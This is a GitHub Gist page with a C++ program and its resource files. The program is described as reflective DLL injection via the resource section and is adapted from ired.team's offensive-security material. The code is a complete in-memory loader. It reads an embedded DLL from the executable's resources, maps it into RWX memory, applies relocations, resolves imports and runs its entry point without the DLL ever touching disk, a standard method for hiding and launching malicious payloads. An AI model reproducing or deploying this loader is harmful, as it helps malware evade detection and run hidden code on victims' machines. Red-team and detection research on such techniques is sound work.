Last active
May 5, 2022 15:14
-
-
Save 2XXE-SRA/156df55ec2cfdc22a33e2b66de30c309 to your computer and use it in GitHub Desktop.
reflective DLL injection via resource section
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//modified from: https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection | |
#include <iostream> | |
#include <windows.h> | |
#include "resource.h" | |
typedef struct BASE_RELOCATION_BLOCK { | |
DWORD PageAddress; | |
DWORD BlockSize; | |
} BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK; | |
typedef struct BASE_RELOCATION_ENTRY { | |
USHORT Offset : 12; | |
USHORT Type : 4; | |
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY; | |
using DLLEntry = BOOL(WINAPI*)(HINSTANCE dll, DWORD reason, LPVOID reserved); | |
int main() | |
{ | |
// get this module's image base address | |
PVOID imageBase = GetModuleHandleA(NULL); | |
// load DLL into memory from resource section | |
HMODULE hMod = GetModuleHandleA(NULL); | |
HRSRC hResource = FindResource(hMod, MAKEINTRESOURCE(IDR_RDLL1), (LPCSTR)"RDLL"); | |
HGLOBAL hResourceData = LoadResource(hMod, hResource); | |
DWORD ResourceSize = SizeofResource(hMod, hResource); | |
LPVOID hResourceStart = LockResource(hResourceData); | |
LPVOID dllBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ResourceSize); | |
DWORD outSize = 0; | |
memcpy(dllBytes, hResourceStart, ResourceSize); | |
// get pointers to in-memory DLL headers | |
PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBytes; | |
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBytes + dosHeaders->e_lfanew); | |
SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage; | |
// allocate new memory space for the DLL. Try to allocate memory in the image's preferred base address, but don't stress if the memory is allocated elsewhere | |
//LPVOID dllBase = VirtualAlloc((LPVOID)0x000000191000000, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); | |
LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); | |
// get delta between this module's image base and the DLL that was read into memory | |
DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase; | |
// copy over DLL image headers to the newly allocated space for the DLL | |
memcpy(dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders); | |
// copy over DLL image sections to the newly allocated space for the DLL | |
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders); | |
for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) | |
{ | |
LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)section->VirtualAddress); | |
LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes + (DWORD_PTR)section->PointerToRawData); | |
memcpy(sectionDestination, sectionBytes, section->SizeOfRawData); | |
section++; | |
} | |
// perform image base relocations | |
IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; | |
DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dllBase; | |
DWORD relocationsProcessed = 0; | |
while (relocationsProcessed < relocations.Size) | |
{ | |
PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed); | |
relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK); | |
DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY); | |
PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed); | |
for (DWORD i = 0; i < relocationsCount; i++) | |
{ | |
relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY); | |
if (relocationEntries[i].Type == 0) | |
{ | |
continue; | |
} | |
DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset; | |
DWORD_PTR addressToPatch = 0; | |
ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL); | |
addressToPatch += deltaImageBase; | |
memcpy((PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR)); | |
} | |
} | |
// resolve import address table | |
PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL; | |
IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; | |
importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase); | |
LPCSTR libraryName = ""; | |
HMODULE library = NULL; | |
while (importDescriptor->Name != NULL) | |
{ | |
libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase; | |
library = LoadLibraryA(libraryName); | |
if (library) | |
{ | |
PIMAGE_THUNK_DATA thunk = NULL; | |
thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllBase + importDescriptor->FirstThunk); | |
while (thunk->u1.AddressOfData != NULL) | |
{ | |
if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal)) | |
{ | |
LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal); | |
thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal); | |
} | |
else | |
{ | |
PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData); | |
DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name); | |
thunk->u1.Function = functionAddress; | |
} | |
++thunk; | |
} | |
} | |
importDescriptor++; | |
} | |
// execute the loaded DLL | |
DLLEntry DllEntry = (DLLEntry)((DWORD_PTR)dllBase + ntHeaders->OptionalHeader.AddressOfEntryPoint); | |
(*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0); | |
//CloseHandle(dll); | |
HeapFree(GetProcessHeap(), 0, dllBytes); | |
return 0; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define IDR_RDLL1 101 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "resource.h" | |
IDR_RDLL1 RDLL "dll.dll" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment